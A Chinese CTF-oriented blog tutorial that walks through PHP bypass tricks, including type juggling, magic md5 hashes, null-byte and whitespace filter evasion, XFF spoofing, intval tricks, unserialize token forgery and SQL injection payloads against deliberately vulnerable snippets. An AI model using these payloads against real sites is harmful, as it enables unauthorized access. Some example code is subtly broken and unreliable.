
PHP 入门基础漏洞
0x01 前言
这篇文章还是讲一讲黑魔法为主。基于 php_bugs 来学习吧,也听一些师傅说了,如果不是为了打 CTF,根本没必要学 PHP 了,今天是 2022-8-29;正好 Java 学不进去,过一遍 PHP
0x02 PHP 基础函数与特性
file_get_contents
file_get_contents() 把整个文件读入一个字符串中。
- 举个例子
<?php
echo file_get_contents("test.txt");
?>
上面的代码将输出:
This is a test file with test text.
isset
isset() 函数用于检测变量是否已设置并且非 NULL。
语法
bool isset ( mixed $var [, mixed $... ] )
参数说明:
$var
:要检测的变量。
如果一次传入多个参数,那么 isset() 只有在全部参数都被设置时返回 TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
- 举个栗子
<?php $var = ''; // 结果为 TRUE,所以后边的文本将被打印出来。
if (isset($var)) { echo "变量已设置。" . PHP_EOL; }
// 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。
// the return value of isset().
$a = "test"; $b = "anothertest"; var_dump(isset($a)); // TRUE
var_dump(isset($a, $b)); // TRUE
unset ($a); var_dump(isset($a)); // FALSE
var_dump(isset($a, $b)); // FALSE
$foo = NULL;
var_dump(isset($foo)); // FALSE ?>
返回值
如果指定变量存在且不为 NULL,则返回 TRUE,否则返回 FALSE。
extract
extract() 函数从数组中将变量导入到当前的符号表。
语法
extract(_array,extract_rules,prefix_)
trim
移除字符串两侧的字符(”Hello” 中的 “He”以及 “World” 中的 “d!”):
<?php $str = "Hello World!"; echo $str . PHP_EOL; echo trim($str,"Hed!"); ?>
ereg/preg_match
**mb_ereg**(字符串`$pattern`,字符串`$string`,数组 `&$matches` = **`null`**):bool
执行与多字节支持的正则表达式匹配。
返回值是 true 或者 false
strcmp
用法
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}
else if (str1 > str2) {
return > 0;
}
else {
return 0;
}
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 < str2
,则返回 < 0;若 str1 > str2
,则返回 > 0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
- 当
strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
0x03 PHP 常见黑魔法
如果要用一句话概括一下黑魔法的成因,我喜欢把它称之为 PHP 原生特点。
在 PHP 当中,我们在类型比较的过程中会产生很多的奇特现象,正是由于这一些奇特现象,会产生一些成功的绕过手段。
1. strcmp 的绕过
- 这里我们先看这样的一段代码:
Strcmp.php
<?php
define('FLAG', 'DrunkCTF{this_is_arrayCompare_flag}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
?>
此处 $_GET['flag']
的意思是从 url 中获取到一个名叫 flag 的 GET 参数。
然后来看我们现在要讲的关键函数 strcmp()
它的用法应该是这样的
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}
else if (str1 > str2) {
return > 0;
}
else {
return 0;
}
意思是,我们如果使用了 strcmp()
函数,就必须要传入两个变量 ———— str1,str2。
如果 str1 < str2
,则返回 < 0;若 str1 > str2
,则返回 > 0;如果两者相等,返回 0。
现在我们回来看上面这段源代码,很显然,如果这是一道题目,我们不可能知道 FLAG 是多少,所以无法做到让两者相等,这时候就有了我们很重要的绕过特性!
- 当
strcmp()
比较出错的时候 —-> 返回 NULL;而返回 NULL 即为返回 0,这时候我们就可以得到 Flag ~
绕过手段我们先讲 payload,再来讲原理;payload:
?flag[]=0
成功,如图

原理很简单;?flag[]=0
的意思也就是,我传入的变量名为 flag,但是这个 flag 是一个数组类型的变量,数组怎么可能可以和字符串比较呢?所以此处比较出错,成功返回 NULL,也就是返回 0
2. md5 比较绕过
题目代码如下:
<?php
define('FLAG', 'DrunkCTF{you_bypass_md5!}');
if (($_GET['s1']) != $_GET['s2'] && md5($_GET['s1']) == $_GET['s2']) {
echo "success, flag is :" . FLAG;
}
?>
简单来说,我们的逻辑就是 s1 和 s2 不能相等,但是它们的 md5 值要相等;于是就有了如下两种绕过手段。
绕过一
用科学计数法绕过
‘0e123456789’ == ‘0e987654321’ == 0
以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
- 0e215962017(这个用的非常多
payload 如下
md5.php?s1=QNKCDZO&s2=240610708
绕过二
通过数组绕过,也叫数组 trick
原理:
md5([1,2,3]) == md5([4,5,6]) == NULL
所以我们的 payload:
md5.php?s1[]=1&s2[]=2
3. extract 变量覆盖绕过
源码如下
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'ctf{xxx}';
}
else {
echo'Oh.no';
}
}
?>
这里需要实现$shiyan==$content
,$content
来源于file_get_contents($flag)
,而这个file_get_contents函数是把文件的信息打印出来,我们这个flag是个变量,他取值必定不是文件名,因此这里content变量的值为空,此时无论怎么写flag,content都为空,我们只需要保证shiyan也为空就可以,构造payload如下
flag=123&shiyan=
4. 绕过过滤的空白字符
源码如下
<?php
show_source(__FILE__);
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
我们这里可以分段代码审计一下
首先告诉我们需要传进去一个 GET 请求的参数,名为 number;
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
往下看
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
这里的代码不难,读取到我们所有的 GET 请求与 POST 请求的参数,进行循环,然后把这个参数里面的空格去掉,这就是过滤空白字符了。
继续往下看 is_palindrome_number()
函数,用来判断是否为回文数。
后续是判断关键,总结一下有以下四个条件
1、if(is_numeric($_REQUEST['number'])) 这个条件需要为假,才能继续往下运行
2、要求$req['number']==strval(intval($req['number']))
3、要求intval($req["number"])==intval(strrev($req["number"]));//strrev函数作用是反转字符串
4、 if(is_palindrome_number($req["number"]))这个条件需要为假,才能输出flag
第一个条件,这里我们不能输入 ?number=1
,要不然进不到后续的代码逻辑上,通过 ?number=%001
可以绕过
针对$req['number']==strval(intval($req['number']))
的话,它这个相当于是不让变量中有字符串,只能有数字时才符合条件,这个是怎么知道的呢,当然是本地测试
<?php
show_source(__FILE__);
$a=addslashes(trim($_GET['a']));
$b=strval(intval($a));
var_dump($a==$b);
?>
一般的话肯定考虑一个空格给它绕过,但是这段代码里传入的变量都经过了 trim
函数,trim 函数过滤了很多空白字符

一般的话当然是没办法了,但是这里还有一个%0c
,也就是\f
未被过滤,因此这里我们可以用它来进行绕过,我们本地试也可以发现它是符合条件的

现在来看第三个条件 intval($req["number"])==intval(strrev($req["number"]));
,这个 strrev
函数的作用是反转字符串,这里的话也就是要求数字是回文数,比如 131,这个时候反转一下还是 131,此时就可以满足条件了
来看最后一个,让 if(is_palindrome_number($req["number"]))
条件为假,这个函数定义如下
这个函数当它是回文数时就会正确,因此看似是与条件三矛盾的,但想到还有空白字符,用它的时候同时写回文数,此时是不是就可以成功绕过呢
我们尝试 payload
?number=%00%0c131
成功 getflag

5. ereg/preg_match 正则 %00 截断
- 源码如下
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
这里的话有三个条件
1、 if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === TRUE)
2、(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
3、 if (strpos ($_GET['password'], '*-*') !== FALSE)
第一个,就是匹配里面要有字母与数字,没事;
第二个比较要动脑,要求我们的密码值大于 9999999,但是不得超过 8 位,你细品;
第三个让password中包含*-*
,这与第一点相悖了,思考这个绕过。
第一个先不考虑,直接看第二个,第二个的绕过很简单,用科学计数法即可。
payload:
?password=1e10
第三个条件这里,要与第一个相结合的绕过:
我们知道当语句遇到%00的时候就会认为是休止符,不再往后看,我们如果在password中添加%00,再添加这个字符串,是不是就可以成功绕过呢,我们构造 payload 如下进行尝试
?password=1e10%00*-*
成功绕过
6. sha()函数比较绕过
源代码如下
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
- 这里的逻辑简单看一下,很简单,看着就好绕过;要求是传入的 username 和 password 不能相同,但是它们经过 sha1() 算法之后的值要相同。
sha1 算法加密的同样是字符串,那就意味着当值为数组时同样会报错,如果我们让两个都报错,那么他们肯定是同种类型的 Null,此时就可以绕过,正常的话我们会构造 payload 如下
name[]=1&password[]=2

7. session 验证绕过
源代码如下
// 08 SESSION验证绕过
<?php
$flag = "flag";
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
条件是 $_GET['password'] == $_SESSION['password']
,这里 session 中的 password 是不存在的,需要我们自己传值,那我们如果不传的话不就为 Null 了吗,此时我们的 GET 传 password 也传个空,此时两者是不是就相等了呢,我们尝试一下
payload:
?password=

8. urldecode 二次编码绕过
- 原代码如下
<?php
if(eregi("hackerDJ",$_GET['id'])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
写的和那啥一样,一塌糊涂,这里我修改了一下
// 10 urldecode二次编码绕过
<?php
$id = $_GET['id'];
if(preg_match("hackerDJ",$id)) {
echo("<p>not allowed!</p>");
$flag=false;
}
if ($flag === true) {
$m = urldecode($id);
if($m == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
}
?>
这样逻辑是对的
代码逻辑:获取 GET 请求中的 id 参数,判断 id 参数是否与 “hackerDJ” 相同,如果相同,寄。
如果不相同,继续往下看,判断 url 编码后 的 id 变量是否与 “hackerDJ” 相同,这个地方需要对 id 的值进行二次编码,因为第一次编码传进去的会经过一次解码,所以会编程 hackDJ;所以我们的 payload 如下
?id=%2568%2561%2563%256b%2544%254a
这道题还是有点二,算了,就当是二次编码的一个学习吧。
9. X-Forwarded-For 绕过指定 IP 地址
这个有点意思,源码如下
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! flag is ctf{*********}";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
做这道题之前不妨先了解一下HTTP_CLIENT_IP
、X_FORWARDED_FOR
和REMOTE_ADDR
HTTP_CLIENT_IP 是代理服务器发送的HTTP头
HTTP_CLIENT_IP 是代理服务器发送的HTTP头,HTTP_CLIENT_IP确实存在于http请求的header里。
X_FORWARDED_FOR
简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP
代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP
REMOTE_ADDR
表示发出请求的远程主机的 IP
地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP
简单的总结一下就是
$_SERVER['REMOTE_ADDR']; //访问端(有可能是用户,有可能是代理的)IP
$_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可伪造)
$_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)
尝试伪造 XFF 头来进行绕过

10. intval 函数
- 这里有四块内容,慢慢讲
int intval(var,base) 的特性
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
intval 四舍五入绕过
源代码:
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
绕如其名
整体看过后,发现重点大致是这几句
1 、$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
2、if($_GET[id]==1024)
第二个语句是$_GET[id]
不等于1024时才往下执行,但好端端的为什么要提到这个1024呢,往下运行是输出查询结果,这是不是间接的说明id为1024时对应的内容为flag呢,因此我们这里去构造一个1024即可,但等于1024又无法往下运行,这个时候就关注到了查询语句中是$id
,而$id
是intval($_GET[id])
,因此这里就可以用intval的几个特性来绕过了
从官方例子中也可以看出,小数点后不计,那我们这里传值1024.2,在查询时不也是1024吗,而且后面检测是否为1024时还可以绕过检测,因此最终payload为
id=1024.2
绕 preg_match 正则
源代码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
?>
0 - 9 都被过滤了,所以要用数组来绕过
payload:
num[]=1
绕某个具体数字
源代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么
根据这张图绕过

看到这里的话就可以看出payload就有多种构造方法了
num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数
payload:
?number=010574
终极绕过
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?>
这道题的话看着几乎是防死了,多过滤了.
,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制
num=%0a010574
11. 十六进制与数字比较
0x04 结合 SQL
1. token 伪造
- 源代码
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
重点的话有以下几处,分别是输出 flag 的地方
if($login['user'] === 'ichunqiu')
{
echo $flag;
}
这就要求 $login['user']
为 ichunqiu
,其次就是它的加密
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
- 感觉这个绕过就非常简单了,修改 Cookie 里面的 token 就好了。
写个简单的 EXP 绕一下
<?php
$a=array(['user']==='ichunqiu');
$user =base64_encode(gzcompress(serialize($a)));
echo $user;
?>
2. 密码 md5 比较绕过
<?php
//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' #
// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
条件是 if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
,而这个 $row[pw]
是从根据SQL语句从数据库中查询出来的,因此前面这个也就是说要在数据库中存在这个 SQL 语句对应的密码,而后面的就是校验了,看你输入的密码与数据库是否匹配,这个时候就想到了 union select 可以自己创一行数据
本地测试如下图
mysql> select * from users where username='' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
从两个查询语句中可以看出,这个union select查询的语句明显是不存在在数据表中的,它取决于我们union select后面输入的东西的
mysql> select * from users where username='' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | security |
+----+----------+----------+
1 row in set (0.00 sec)
那么如果我们用union select的话,这是不是就意味着password可控呢
mysql> select * from users where username='' union select 1,2,123456;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 123456 |
+----+----------+----------+
1 row in set (0.00 sec)
此时查询结果,取出password,那肯定就是123456了,由于密码提交的时候有$pass = md5($_POST[pass]);
,所以我们提交123456,到检验时中就变成了e10adc3949ba59abbe56e057f20f883e
(md5加密后的123456),那我们这个时候不就无法做到对应了吗,不过我们是不是可以把md5加密后的密码放到SQL语句中呢,这样比对的时候不就一致了吗,因此构造payload如下
user=' union select 1,2,'e10adc3949ba59abbe56e057f20f883e' # &password=123456
3. sql闭合绕过
简单的警号绕过,源码如下
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("*******", "****", "****");
mysql_select_db("****") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
//select user from php where (user='admin')#
//exp:admin')#
$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}
if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}
?>
payload:
username=admin')#
- 本文标题:PHP 入门基础漏洞
- 创建时间:2022-08-17 11:16:33
- 本文链接:2022/08/17/PHP-入门基础漏洞/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!